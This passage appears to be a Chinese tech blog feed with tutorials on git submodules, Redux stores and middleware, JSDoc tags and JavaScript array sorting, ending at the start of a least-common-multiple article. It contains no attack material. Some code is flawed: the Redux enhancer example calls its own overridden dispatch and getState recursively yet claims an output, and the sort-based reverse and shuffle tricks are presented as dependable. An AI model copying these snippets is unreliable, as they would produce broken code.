  • 删除 .git/modules/ 目录下的子模块目录 xxx
  • 删除子模块的缓存:git rm --cached xxx

然后再执行 git submodule 就没有任何输出了,清除完毕;

子模块与父项目的联系

父项目和子模块有着分开的 git 仓库,所以可以分别在父项目和子模块的目录下使用 git 命令,操作的也是各自的仓库,比如分别在父项目和子模块中执行 git branch -a 或者 git remote -v 的输出结果是不同的;

虽然二者有个分开的仓库与提交记录,但是又是关联起来的(这正是 submodule 所做的工作),举个例子,在子模块目录 xxx/ 下新增一个文件 test.txt,然后在子模块目录中执行 git satus 会输出:

Untracked files:
  (use "git add <file>..." to include in what will be committed)
        xxx/test.txt

此时在父项目下执行 git status 输出的是:

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
  (commit or discard the untracked or modified content in submodules)
        modified:   xxx (untracked content)

即提示需要先在子模块下提交修改记录;

然后子模块下提交记录,执行:

git add .
git commit -m "add file"

这时再分别运行 git status,子模块的输出是:

Your branch is ahead of 'origin/master' by 1 commit.
  (use "git push" to publish your local commits)

nothing to commit, working tree clean

而父项目的输出是:

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   xxx (new commits)

提示子模块中有了新的提交(new commits);

假如再把子模块下的这个 test.txt 文件删除,则子模块的状态是:

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    xxx/test.txt

但是父项目的状态依然是:

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   xxx (new commits)

子模块撤销刚才的删除操作,将新增文件的记录 git push 到远程(这会推送到子模块自己的远程仓库),此时子模块的工作区状态是清空状态,但是父项目的依旧是:

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   xxx (new commits)

所以,父项目与子模块的关联便是,父模块只是单纯的识别子模块的总体变化,而不会在意具体是新增、修改还是删除,甚至修改已经提交推送到子模块所属的远程仓库,只是将这些调整统一识别为 modified 状态,然后需要提交并推送到自己(父项目)所属的远程仓库;

在父项目中使用 git diff 可以查看当前的变更,会输出:

diff --git a/xxx b/xxx
index 70c316e..a6e2962 160000
--- a/xxx
+++ b/xxx
@@ -1 +1 @@
-Subproject commit 70c316ecb7c41a5bdf8a37ff93bf866d3b903388
+Subproject commit a6e29629904538e8f70694df607617084d2659ca

如果想要查看具体子模块的变动,可以执行:

git diff --submodule

Submodule xxx 70c316e..a6e2962:
  > add file

输出会列出当前子模块的所有变动的提交日志;也可以直接日志中关联的子模块提交记录,执行:

git log -p --submodule

commit 909a721e3755affb7620316b44df8fbc1b3488f2 (HEAD -> master)
Author: ******
Date:   ******

    mod submodule

Submodule xxx 70c316e..a6e2962:
  > add file

其他

父项目从含有子模块的分支切换到没有子模块的分支时,默认会保留子模块对应的目录,所以这使得切换过去时本地会保留关于子模块的修改记录,显然这不太合理,所以从包含子模块的分支切换到 xxx 时,需要这样执行:

git checkout xxx --recurse-submodules

当父项目存在许多子模块时,有时需要对多个子模块执行相同的操作,这时就可以使用 foreach 功能,比如批量存储:

git submodule foreach 'git stash'

或者在每个子模块中新建切换分支:

git submodule foreach 'git checkout -b new'
🔲 ⭐

Redux 主要知识学习总结

概念

Redux 作为一个状态管理器,可以应用于多种 web 技术或框架中,React 只是其中之一;Redux 的特点在于,多个页面或组件使用同一个状态(store,用于管理应用的 state),可以实现各模块或组件之间的数据共享,应用的任何部分都能进行状态修改,避免了传统的组件间深层次传值问题;

使用

创建状态(store)

Redux.createStore() 方法用于创建一个 store,其接收 reducer 作为第一个参数;

reducer 为一个自定义函数,接收 state 作为第一个参数,同时返回一个值作为新的 state

reduce 有缩减,减少的意思,可以理解为一个缩减器,不断将新得到的状态覆盖原状态,以实现 store 的单一状态更新,其名字也是根据 Array.reduce() 方法而来的;

import Redux from 'redux';

// 为 state 设置默认值
const reducer = (state = 1, action) => {
    return state;
}
const store = Redux.createStore(reducer);

createStore() 方法还接收第二个参数 initialState,作为 state 的初始化值,即下面两种写法效果相同:

import Redux from 'redux';

const store1 = Redux.createStore((state = 1) => {
    return state;
});
const store2 = Redux.createStore((state) => {
    return state;
}, 1);

const state1 = store1.getState();
const state2 = store2.getState();

console.log(state1); // 1
console.log(state2); // 1

读取状态

getState(),是所创建的 store 对象的一个方法,用于获取创建的状态;

const store = Redux.createStore(
    (state = 1) => state;
);
const state = store.getState();

console.log(state); // 1

改变状态(action)

触发更新

state 的更新需要通过触发 action 来实现,actoin 是前面的 reducer 函数接收的第二个参数,一个 action 是一个包含操作信息的对象,同时也可以携带要传递的额外数据;

触发 action 使用 dispatch 实现,dispatchstore 对象的一个方法,其接收参数为 action 对象,是更新状态的唯一途径;

这里之所以多加一层 action,而不直接修改状态,是为了追踪某一状态为何更新,或者调试时进行操作复现等目的,而 action 中的 type 就相当于为了被追踪而留下的痕迹;

const store = Redux.createStore(
    (state=1, action) => {
        if (action.type === 'myAction') {
            return action.myData;
        } else {
            return state;
        }
    }
);

const action = {
    type: 'myAction', // type 属性为必填项
    myData: 'myContent.', // 自定义携带数据
}

store.dispatch(action);
console.log(store.getState()); // "myContent."

在模块较多的复杂应用中,为了辨识操作,方便理解,通常 type 的格式会定义为 模块/操作 的形式,模块一般和对应的 reducer 相关,例如:

const todoReducer = (state, action) => state;
const userReducer = (state, action) => state;

const addTodo = { type: 'todo/add' };
const renameUser = { type: 'user/rename' };

响应更新

更新 stateaction 被触发了,还需要定义一些操作对其进行响应,在 action 触发时执行,即指定如何更新 state

这里更新 state 的逻辑写在之前创建 store 时传入的 reducer 函数中,由于 Redux 中的 state 是只读的(并未强制,但需自行在代码中遵守),所以 reducer 每次返回的 state 都是新的;

const myState = {
    num: 0
}
const myReducer = (state=myState, action) => {
    if (action.type === 'add') {
        return {
            num: state.num + 1
        };
    } else {
        return state; // 非指定状态需要考虑返回原状态
    }
}
const store = Redux.createStore(myReducer);
const myAction = {
    type: 'add'
}

store.dispatch(myAction);

console.log(store.getState().num); // 1

Redux 并未强制 reducer 中的 state 为只读的,其实是可以对其进行修改,例如:

const defaultState = { num: 0 };
const store = Redux.createStore(
    (state=defaultState, action) => {
        if (action.type === 'add') {
            state.num += 1;
            return state;
        } else {
            return state;
        }
    }
);

console.log(store.getState()); // { num: 0 }

store.dispatch({ type: 'add'});

console.log(store.getState()); // { num: 1 }

但官方并不建议这么做,这有可能导致页面数据得不到及时更新的 bug,所以需要开发者考虑自行维护其不可变性(Immutability),这也能实现更好的状态追踪,问题追溯等开发体验,如官网提到的一项叫 time traveling debugging 技术;并且,Redux 官网对该框架的介绍也是 Redux is a predictable state container,即具有预见性的状态管理器;

订阅状态

subscribe() 是 store 对象的方法之一,它接收一个函数作为参数,用于设置监听器以订阅状态的更新,即指定 state 更新时应该做什么;

const store = Redux.createStore((state=0, action) => {
    if (action.type === 'add') {
        return state + 1;
    } else {
        return state;
    }
});

store.subscribe(() => {
    // 指定每次更新状态就打印当前值
    console.log('dispatch', store.getState());
})
store.dispatch({ type: 'add' }); // 'dispatch' 1
store.dispatch({ type: 'add' }); // 'dispatch' 2

拓展

状态合成

虽然 Redux 为了管理方便而设置单一的 store 对所有 state 进行统一管理,但是状态量的增长会使得书写变得复杂,所以 Redux 对象提供了一个 combineReducers() 方法,将所有声明的分工不同(不同组件、页面或子应用)的 reducer 合并为一个总的 reducer

该方法接收一个对象作为参数,不同的属性名用于标识不同作用的 reducer,以及状态更新后从 store 中取回状态值,属性值为声明的 reducer 函数;

const calcReducer = (state=1, action) => {
    switch (action.type) {
        case 'add':
            return state + 1;
        case 'minus':
            return state - 1;
        default:
            return state;
    }
}
const countReducer = (state=0, action) => {
    if (action.type === 'add') return state + 1;
    else return state;
}
const rootReducer = Redux.combineReducers({
    calc: calcReducer,
    count: countReducer,
});
const store = Redux.createStore(rootReducer);


console.log(store.getState()); // { calc: 1, count: 0, }

store.dispatch({ type: 'add' });

console.log(store.getState()); // { calc: 2, count: 1 }

combineReducers() 参数对象中指定的属性名用于存储该 reducer 的所有状态值;

Enhancer

Redux.createStore() 方法还可以接收第三个参数 enhancer,用于自定义 store 的功能或强化其能力(例如魔改),比如改变 dispatch(), getState(), subscribe() 等方法的默认行为;

enhancer 参数为一个自定义函数,其接收 Redux.createStore 这个方法作为参数,并返回一个新的 createStore 方法;

下面是一个为 dispatch 添加功能的简单示例:

const myReducer = (state=1, action) => {
    if (action.type === 'add') {
        return state + 1;
    } else {
        return state;
    }
}
// enhancer 接收一个参数,即 Redux.createStore 这个方法,
// 用于执行创建 store 的默认行为;
const myEnhancer = (createStore) => {
    // enhancer 需要返回一个函数,其参数与 Redux.createStore 的相同,
    // 可以理解为返回另一个新的 createStore 函数;
    return (reducer, initialState, enhancer) => {
        // 需要执行一次 Redux.createStore 的默认行为,并获取 store
        const store = createStore(reducer, initialState, enhancer);

        // 修改 store 中的默认 dispatch 方法
        store.dispatch = (action) => {
            // 新加的功能
            console.log('dispatched.');
            // 最后仍需执行一次 dispatch 的默认行为
            return store.dispatch(action);
        }
        
        // 修改默认的 getState 方法
        store.getState = () => {
            return store.getState() + 1;
        }

        // 返回的新 createStore 方法还需要返回一个对象,即整个 store 对象;
        return store; 
        }
    }
}

const store = Redux.createStore(myReducer, undefined, myEnhancer);

store.dispatch({ type: 'add' }); // "dispatched."

console.log(store.getState()); // 3

需要同时使用多个 enhancer 时,需要进行合成,可以使用 Redux.compose() 方法:

const enhancers = Redux.compose(enhancer1, enhancer2); // 可以传入多个参数作 enhancer
const store = Redux.createStore(myReducer, undefined, enhancers);

Middleware

大多数时候,我们只希望自定义 dispatcch 方法的逻辑,所以官方专门提供了一个叫 middleware 的特性,翻译过来就是中间件,即在触发 action 和调用 reducer 执行响应之间,给用户提供一个可操作空间,如用于日志记录,问题报告,或者处理异步操作等;

middleware 是一个自定义函数,其接收一个对象作为参数,该参数对象有两个方法,分别是 dispatchgetState,逻辑都与 store 对象中的两个同名方法相同;

middleware 函数还需要返回另一个函数作为包装(自定义)后的 dispatch 方法,由于逻辑层次较多,下面会通过代码说明;

Redux 中内置了一个叫做 applyMiddlewareenhancer 方法,用于添加 middleware,它可以接收多个参数以传入多个 middleware

具体实现通过举例说明:

const myReducer = (state, action) => {
    if (action.type === 'add') {
        return state + 1;
    } else {
        return state;
    }
}

// 自定义的中间件函数
const myMiddleware1 = ({ dispatch, getState }) => {
    // 中间件需要返回一个函数,即新的 dispatch 逻辑,
    // 该函数又接收一个参数 next,用于执行下一个 middleware,
    // 当然如果有下一个中间件就执行,没有了就执行原始的 dispatch,
    // 其实这个参数 next 也就是原始的那个 store.dispatch 方法;
    return (next) => {
        // 该函数也需要返回一个函数,用于处理 action,
        // 接收一个 acction 作参数,即 store 触发的 action;
        return (action) => {
            // 自定义逻辑
            console.log('mid 1', getState());

            // 这个函数还需要返回一个函数,即用之前的 next 方法
            // 将 action 传递给下一个 middleware 继续处理;
            return next(action);
        }
    }
}

// 也可以使用简写方式
const myMiddleware2 = ({ getState }) => next => action => {
    console.log('mid 2', getState());
    const result = next(action);
    console.log('mid 2 new', getState());

    return result;
}

// 使用中间件
const myEnhancer = Redux.applyMiddleware(myMiddleware1, myMiddleware2);

const store = Redux.createStore(myReducer, 1, myEnhancer);

store.dispatch({ type: 'add' });
// "mid 1" 1
// "mid 2" 1
// "mid 2 new" 2

console.log(store.getState());
// 2

总结一下整个执行过程就是:

  • 用户调用了 store.dispatch() 触发 action
  • Redux 按 applyMiddleware() 方法中参数的传入顺序,挨个执行自定义的 middleware 逻辑;
  • 然后再调用原始的 store.dispatch() 方法触发 action
  • 最终执行 reducer 中的逻辑;

整个过程有些类似函数的链式调用:

dispatch -> middleware1 -> middleware2 ... -> dispatch -> reducer

此外,由于 middleware 的执行逻辑,其特性还包括对 action 中数据的修改、中断甚至彻底停止 action,的触发,例如上例中最后不返回 next(action),那么整个过程执行完第一个 middleware 就结束了,state 也不会发生预期的改变;

处理异步逻辑

Redux 内部并不知道如何处理异步逻辑,只会同步的触发 action,然后调用 reducer 更新 state,所以任何异步逻辑需要我们在外部自己实现;而 Redux 的宗旨是 recuder 不要有任何副作用,最好是一个纯函数,即不要有多余的外部联系,如控制台打印,异步请求等;

middleware 就是 Redux 专为副作用逻辑需求而设计的,这里以异步操作为例用代码进行简单实现:

const reducer = (state, action) => {
    if (action.type === 'add') {
        return state + 1;
    } else if (action.type === 'asyncAdd') {
        return action.data;
    } else {
        return state;
    }
}
const asyncMiddleware = _store => next => action => {
    if (action.type === 'asyncAdd') {
        setTimeout(() => {
            action.data = 'some data.';
            next(action);
        }, 2000);
    } else {
        next(action);
    }
}
const enhancer = Redux.applyMiddleware(asyncMiddleware);
const store = Redux.createStore(reducer, 0, enhancer);


store.dispatch({ type: 'add' });
console.log(store.getState()); // 1

store.dispatch({ type: 'asyncAdd' });
console.log(store.getState()); // 1

setTimeout(() => {
    console.log(store.getState());
}, 2000);
// 2 秒后输出:
// some data.

结果显示异步操作获取的数据,可以成功被 reducer 拿到并实现相应的逻辑,所以把 setTimeout 换成 Ajax 请求也同样可以从服务器获取到数据,然后传递给 Redux 进行下一步处理;

由于上面的异步逻辑的原生写法不太方便,Redux 官方就提供了一款 redux-thunk 工具,封装好了一个 middleware,应用之后就可以将 action 声明为一个函数(以前是一个对象),其接收 dispatchgetState 两个参数;具体用法如下:

import Redux from 'redux';
import ReduxThunk from 'redux-thunk';

const reducer = (state, action) => {
    if (action.type === 'add') {
        return state + 1;
    } else if (action.type === 'asyncAdd') {
        return action.data;
    } else {
        return state;
    }
}

// 直接应用该工具
const middlewareEnhancer = Redux.applyMiddleware(ReduxThunk.default);

const store = Redux.createStore(reducer, 1, middlewareEnhancer);

// 这里 action 声明为函数,处理异步逻辑
const asyncAction = (dispatch, getState) => {
    console.log('old state:', getState());
    setTimeout(() => {
        dispatch({ type: 'asyncAdd', data: 'some data.' });
    }, 2000);
}

store.dispatch(asyncAction);
// "old state:" 1

setTimeout(() => {
    console.log(store.getState());
}, 2000);
// 2 秒后输出:
// "some data."

需要注意的是,一些教程上(包括 Redux 官网)介绍 Redux Thunk 的用法时,仍然使用的 Redux.applyMiddleware(ReduxThunk) 写法,这是该工具 1.x 版本的写法,现在 2.x 版本需要加上 .default,即 Redux.applyMiddleware(ReduxThunk.default),不然程序会出现问题;

🔲 ⭐

JavaScript之注释规范化(JSDoc)

前言

俗话说,无规矩不成方圆;虽说代码敲出来都是交给编译器解释执行的,只要不存在语法格式错误,排版无论多么反人类都是没有问题的,但是代码除了执行外的另一个广泛用途就是阅读了,翻阅自己过去的代码、理解别人的源码,等等;所以出现了代码风格化,美化外观的同时便于阅读,这就是目前 JSLint 等工具的作用;

当然,除了代码本身外,阅读更多的可能就是代码注释了,注释本身是不会被编译器编译执行的,其作用也是为了留下一些信息,方便更好的理解代码本身;所以,注释的规范化也是一个值得思考的问题;而接下来即将介绍的 JSDoc 就是这样的一款工具;

JSDoc

根据其官网(https://jsdoc.app/index.html)的介绍,JSDoc 是一个针对 JavaScript 的 API 文档生成器,类似于 Java 中的 Javadoc 或者 PHP 中的 phpDocumentor;在源代码中添加指定格式的注释,JSDoc 工具便会自动扫描你的代码并生成一个 API 文档网站(在指定目录下生成相关的网页文件);

生成 API 文档只是一方面,其更主要的贡献在于对代码注释格式进行了规范化,你可能没用过,但多半曾经在某个地方的源码中见过类似于下面的注释格式:

/**
 * Returns the sum of a and b
 * @param {number} a
 * @param {number} b
 * @returns {number}
 */
function sum(a, b) {
    return a + b;
}

使用

工具的使用很简单,首先安装它:

npm install -g jsdoc

其次假设在一个名为 doc.js 的文件中书写以下代码:

/**
 * Returns the sum of a and b
 * @param {number} a
 * @param {number} b
 * @returns {number}
 */
function sum(a, b) {
    return a + b;
}
/**
 * Return the diff fo a and b
 * @param {number} a
 * @param {number} b
 * @returns {number}
 */
function diff(a, b) {
    return a - b;
}

然后就是在当前目录执行以下命令:

jsdoc doc.js

最后就会在当前目录下生成一个名为 out 的目录(也可以另外指定),当前目录内容就会变成像下面这样:

├── doc.js
└── out
    ├── index.html
    ├── doc.js.html
    ├── global.html
    ├── fonts
    │   ├── OpenSans-BoldItalic-webfont.eot 
    │   ├── OpenSans-BoldItalic-webfont.svg 
    │   ├── OpenSans-BoldItalic-webfont.woff
    │   ├── OpenSans-Bold-webfont.eot       
    │   ├── OpenSans-Bold-webfont.svg       
    │   ├── OpenSans-Bold-webfont.woff      
    │   ├── OpenSans-Italic-webfont.eot     
    │   ├── OpenSans-Italic-webfont.svg     
    │   ├── OpenSans-Italic-webfont.woff    
    │   ├── OpenSans-LightItalic-webfont.eot
    │   ├── OpenSans-LightItalic-webfont.svg
    │   ├── OpenSans-LightItalic-webfont.woff
    │   ├── OpenSans-Light-webfont.eot
    │   ├── OpenSans-Light-webfont.svg
    │   ├── OpenSans-Light-webfont.woff
    │   ├── OpenSans-Regular-webfont.eot
    │   ├── OpenSans-Regular-webfont.svg
    │   └── OpenSans-Regular-webfont.woff
    ├── scripts
    │   ├── linenumber.js
    │   └── prettify
    │       ├── Apache-License-2.0.txt
    │       ├── lang-css.js
    │       └── prettify.js
    └── styles
        ├── jsdoc-default.css
        ├── prettify-jsdoc.css
        └── prettify-tomorrow.css

通过浏览器访问这个 out 目录中的相关网页,就会展示类似于下面的页面内容;

主页:

jsdoc-home.png

指定函数页:

jsdoc-func.png

网页样式模板也可以更换,根据命令行参数修改即可,这里不再探究,下面主要来学习一下它的注释格式;

注释格式

完整的格式介绍请参考官网(https://jsdoc.app/index.html),目前版本是 JSDoc 3,下面只介绍几种常用的标签并配合举例;当然如果嫌手写一堆标签麻烦,现在许多编辑器(比如 VS Code)都提供了相关的插件下载,直接在插件中搜索关键词 jsdoc 就会出现许多,都是带提示或者自动识别当前代码生成的,很方便;

注释符

JSDoc 使用以下格式的注释符来对要添加的标签进行块级包裹:

/**
 * 
 * 
 */

即星号列垂直对其,第一行使用两个星号,每个星号后要添加一个空格再写内容,比如:

/**
 * 前面留一个空格,再写描述
 * 或者多行描述
 * @param {number} 关于该参数的描述
 */

行内包裹:

/** @function */

@description

也可写作 @desc,描述当前注释对象的详细信息;

/**
 * @function
 * @description 关于该函数的介绍内容
 */
function myFn() {}

/**
 * 也能在这里直接写介绍内容
 * @function
 * @description 如果这里又继续使用标签添加内容,则会覆盖第一行的介绍内容
 */
function myFn() {}

@file

注释写在文件开头,用于描述当前文件的相关信息;例如:

/**
 * @file 这是一个用于...的文件,包含了...功能
 */
 
// 然后是代码正文...

@author

描述当前文件或者代码的作者的相关信息;

/**
 * @author Jack <jack@example.com>
 */

@copyright

描述当前文件的版权相关信息

/**
 * @copyright Jack 2020
 */

@license

描述当前文件许可证相关信息;

/**
 * @license MIT
 */

或者是:

/**
 * @license
 * Copyright (c) 2015 Example Corporation Inc.
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * ...
 */

@version

描述当前项目的版本号;

/**
 * 这个版本修复了...问题
 * @version 1.2.3
 */

@since

描述某个功能是从哪个版本开始引入的;

/**
 * 提供了...功能
 * @since 1.2.1
 */
function newFn() {}

@see

类似于“另见”、“详见”的意思,引导至其他位置,也可以使用 @link 引导至某一网络地址;

/**
 * @see fn2
 */
function fn1() {}

/**
 * @see {@link http://example.com|some text}
 */
function fn2() {}

@todo

描述接下来准备做的事情;

/**
 * @todo 添加...功能
 * @todo 修复...bug
 */
function myFn() {}

@function

@func, @method 含义相同,描述一个函数;

/** @function */
var myFn = function() {}

@type

描述一个变量的类型;

/**
 * 一个对象类型的变量
 * @type {object}
 */
var val1 = {};

/**
 * 一个字符或者数字类型的变量
 * @type {(string|number)}
 */
var val2;

/**
 * 类型为数字或为空
 * @type {?number}
 */
var val3;

/**
 * 类型为数字或且不能为空
 * @type {!number}
 */
var val4;

/**
 * 一个 MyClass 类的实例数组
 * @type {Array.<MyClass>}
 */
var arr = new MyClass();

/**
 * 一个字符串的数组
 * @type {string[]}
 */
var arr2 = ['a', 'b', 'c'];

/**
 * 一个包含一个字符串和一个数字类型的对象
 * @type {object.<string, number>}
 */
var obj1 = {a: 'one', b: 2}

/**
 * 指定具体键和类型的对象
 * @type {{a: string, b: number}}
 */
var obj2 = {a: 'one', b: 2}

/**
 * 指定具体键和类型的命名对象
 * @type {object} obj3
 * @type {string} obj3.a
 * @type {number} obj3.b
 */
var obj3 = {a: 'one', b: 2}

@param

@arg, @argument 含义相同,描述一个函数的参数信息;

/**
 * 标签后跟参数类型,然后是参数名,最后是参数描述
 * @param {number} a 这里写变量的描述
 * @param {string} b - 或者加上连字符便于阅读
 * @param {string} c - 又或者这个参数有一个很长很长很长
 * 很长很长很长很长很长非常长的描述,可以这样占用多行
 */
function myFn(a, b, c) {}

/**
 * 传入的参数是个对象
 * @param {object} option - 传入的对象参数
 * @param {string} option.name - 对象的 name 属性
 * @param {number} option.age - 对象的 age 属性
 */
function myFn(option) {
    var name = option.name;
    var age = option.age;
}

/**
 * 传入的参数是个字符串组成的数组
 * @param {string[]} arr - 传入的对象参数
 */
function myFn(arr) {
    var name = option.name;
    var age = option.age;
}

/**
 * 表示某个参数是可选的
 * @param {number} a - 这是必填参数
 * @param {number} [b] - 这是可选参数
 * @param {number=} c - 可选参数的另一种表示
 */
function myFn(a, b, c) {}

/**
 * 表示可选参数的默认值
 * @param {number} a
 * @param {number} [b=3] - 默认值为 3
 */
function myFn(a, b) {}

/**
 * 参数类型的各种表示
 * @param {number} a - 类型为数字
 * @param {number|string} b - 类型为数字或字符串
 * @param {?number} c - 类型为数字或者为空(null)
 * @param {!number} d - 类型为数字且不为空
 * @param {*} e - 类型不做限制,即可以为任意类型
 */
function myFn(a, b, c, d, e) {}

/**
 * 表示具有任意多个参数的函数
 * 下面的函数返回所有传入参数的和
 * @param {...number} num - 参数个数任意,但是都是数字类型
 */
function sum(num) {
    var len = arguments.length;
    var result = 0;
    
    for (let i = 0; i < len; i++) {
        result += arguments[i];
    }
    return result;
}

@typedef

用于描述自定义的变量类型;

/**
 * 关于自定义类型的描述
 * @typedef {(string|number)} myType
 */

/**
 * 关于自定义类型的描述
 * @type {myType} val - 使用自定义的类型
 */
function myFn(val) {}

@callback

描述指定函数中作为回调函数的参数信息;

/**
 * 这是关于回调函数的描述
 * @callback myCallback
 * @param {string} aa - 回调函数接受的参数
 * @param {number} [bb] - 回调函数接受的另一个可选参数
 */
 
/**
 * 这是关于函数本身的描述
 * @param {string} a
 * @param {myCallback} callback - 回调函数
 */
function myFn(a, callback) {}

@returns

或者写作 @return,描述函数的返回值的信息;

/**
 * @param {number} a
 * @returns {number} 关于返回值的描述
 */
function myFn(a) {
    return a + 1;
}

/**
 * @param {number} a
 * @returns {(number|string)} 返回值可能是数字或字符类型
 */
function myFn2(a) {
    if (a > 1) {
        return 1;
    } else {
        return 'no.';
    }
}

@example

描述指定代码的使用示例;

/**
 * 添加示例代码(格式会被高亮展示)
 * @param {string} a
 * @param {string} b
 * @returns {string} return a concat b.
 *
 * @example
 * console.log(myFn('hello ', 'world!'));
 * // "hello world!"
 */
function myFn(a, b) {
    return a + b;
}

@class

描述一个 class 类;

/**
 * 关于该类的描述
 * @class
 */
class MyClass {}

/**
 * 或者是一个构造函数
 * @class
 */
function MyClass() {}
var ins = new MyClass();

@namespace

描述一个命名空间;

/**
 * 指定一个对象对命名空间
 * @namespace
 */
var MyNamespace = {
    /**
     * 表示为 MyNamespace.fn
     * @returns {*}
     */
    fn: function() {},
    /**
     * 表示为 MyNamespace.a
     * @type {number}
     */
    a: 1
}

/**
 * 手动指定命名空间
 * @namespace MyNamespace
 */
/**
 * 一个成员函数,MyNamespace.myFn
 * @function
 * @returns {*}
 * @memberof MyNamespace
 */
function myFn() {}

@member

描述当前类的一个成员;

/**
 * @class
 */
function MyClass() {
    /** @member {string} */
    this.name = 'knightyun';
    
    /**
     * 或者一个虚拟的成员
     * @member {number} age
     */
}

@memberof

描述成员所属的类;

/**
 * @class
 */
class MyClass {
    /**
     * @constructor
     * @memberof MyClass
     */
    constructor() {}
    /*
     * @param {string} val
     * @returns {*}
     * @memberof MyClass
     */
    myFn(val) {}
}
☑️ ⭐

JavaScript 数组排序详解

提到 JavaScript 中对数组进行排序操作,可能首先想到的就是 Array.prototype.sort() 这个函数,比如以下场景就比较常见:

var arr = [3, 1, 2];

console.log(arr.sort());
// [1, 2, 3]
console.log(arr); // sort() 函数会修改原数组
// [1, 2, 3]

arr = ['c', 'b','B', 'a','A'];
arr.sort();
console.log(arr);
// ["A", "B", "a", "b", "c"]

和预想的一样,sort() 函数默认将数组元素升序排列,但是不要被上面的数字数组的排序结果迷惑,该函数并不是按照数字递增的方式排列的,而是按照元素的 ASCII 码或者 Unicode 码进行排序,比如字符 a 对应的 ASCII 码要比字符 b 的小,所以 a 排在 b 前面,同样字符 A 的比字符 a 的小,所以大写字母 A 会排在小写字母 a 前面;考虑以下情景:

var arr = [1, 2, 11, 12];
arr.sort();
console.log(arr);
// [1, 11, 12, 2]

是不是有些和预想的不一样,这也验证了之前所说,并不是按照数字递增在排序,而是把数组中的数字类型的元素转换成字符,在拆分字符比较单个字符对应的字符码的大小;

比较函数

那么问题就来了,要按照数字递增方式排序,该怎么操作呢?其实这种情况早就被 .sort() 函数考虑到了,只是可能被大家忽略了,就是 .sort() 函数还能接受一个参数,叫做 compareFunction,顾名思义,就是 比较函数,由于该参数是一个函数,所以该函数又能接受两个参数,即比较的值,所以最终就是 .sort(compareFunction(a, b))

关于这个 比较函数,存在如下规则:

  • 如果 compareFunction(a, b) 返回值小于 0 ,那么 a 会被排列到 b 之前;
  • 如果 compareFunction(a, b) 返回值等于 0 ,那么 ab 的相对位置不变;
    • 备注: ECMAScript 标准并不保证这一行为,而且也不是所有浏览器都会遵守(例如 Mozilla 在 2003 年之前的版本);
  • 如果 compareFunction(a, b) 返回值大于 0 ,那么 b 会被排列到 a 之前;

compareFunction(a, b) 必须总是对相同的输入返回相同的比较结果,否则排序的结果将是不确定的。

在使用它之前,先来看看函数里面的参数 a, b 是如何对应数组元素的:

var arr = [2, 1, 4, 3];
arr.sort(function(a, b) {
    console.log(a, b);
})

// 1 2
// 4 1
// 3 4

可以发现,由于这里的比较函数没有返回值,所以对数组就没有排序操作,而每一次遍历中,第二个参数 b 对应前一个元素,第一个参数 a 对应后一个元素;当然该函数的具体排序方法就不得而知并且因 JS 引擎而异了;

升序

对数组按照升序方式排序,即小的元素排在前面,大的元素排在后面,假设比较函数当前遍历的元素对为 (2, 1),则 a = 1, b = 2,要想升序就要 a 排到 b 的前面,对应上面的规则,就是需要比较函数的返回值小于 0,由于当前 a - b < 0;所以直接返回一个 a - b 就行了,代码如下:

var arr = [2, 1, 3, 11, 12, 11]
arr.sort(function(a, b) {
    return a - b;
})

console.log(arr);
// [1, 2, 3, 11, 11, 12]

针对上面的代码再来分析下,在每一次遍历比较的两个元素中:

  • 如果后一个元素比前一个元素小,即 a - b < 0,按照规则就是 a 要排到 b 的前面,也就是这两个元素会交换,小的在前,大的在后;
  • 如果后一个元素比前一个元素大,即 a - b > 0,按照规则就是 b 要排到 a 的前面,由于 b 本来就在 a 的前面,所以两元素位置不变;
  • 如果后一个元素与前一个元素相同,即 a - b = 0,按照规则就是 ab 的位置不变,两元素位置同样不变;

最后,数组就变成升序的了;

降序

原理和升序类似,只是思路反过来了,代码如下:

var arr = [2, 1, 3, 11, 12, 11]
arr.sort(function(a, b) {
    return b - a;
})

console.log(arr);
// [12, 11, 11, 3, 2, 1]

同样来分析一下,每一次遍历中:

  • 如果前一个元素比后一个元素小,即 b - a < 0,按照规则就是 a 要排到 b 的前面,也就是这两个元素会交换,大的在前,小的在后;
  • 如果前一个元素比后一个元素大,即 b - a > 0,按照规则就是 b 要排到 a 的前面,由于 b 本来就在 a 的前面,所以两元素位置不变;
  • 如果前一个元素与后一个元素相同,即 b - a = 0,按照规则就是 ab 的位置不变,两元素位置同样不变;

最后,数组也就变成降序了;

反序

这是排序函数一个另一个应用,作用相当于 .reverse() 函数,即让数组中的元素顺序颠倒,实现也很简单,就是利用规则,让每次比较函数的返回值小于 0 就行了,例如:

var arr = [2, 1, 4, 3];
arr.sort(function(a, b) {
    return -1
});

console.log(arr);
// [3, 4, 1, 2]

乱序

这也算是一个比较实用的用途了,即将数组中元素的位置和顺序打乱,增加随机性,实现也简单,即利用规则,让比较函数的返回值随机为 > 0, < 0, = 0 这三种情况之一,使得元素是否交换位置具有随机性,也就实现了顺序的打乱,实现代码如下:

var arr = [1, 2, 3, 4, 5];
arr.sort((a, b) => {
    return 0.5 - Math.random();
});

console.log(arr);
// [4, 3, 2, 1, 5]

arr.sort((a, b) => {
    return 0.5 - Math.random();
});

console.log(arr);
// [5, 3, 1, 2, 4]
☑️ ⭐

JavaScript 求最小公倍数

最小公倍数(Least Common Multiple)

最小公倍数是中学数学知识中的一个概念,具体定义可以 自行了解,这里只大致解释一下,通常几个正整数会存在许多个倍数,每个倍数除以这几个正整数后都没有余数,而这些倍数之中最小的一个则称为最小公倍数;

一般直接计算最小公倍数较为困难,因此需要用到一个计算公式,即两个数的乘积等于这两个数的最大公约数与最小公倍数的乘积,所以知道两个数的最大公约数或者求最小公倍数,就可以求得另外一个,接下来先来实现最大公约数的求法;

最大公约数(Greatest Common Divisor)

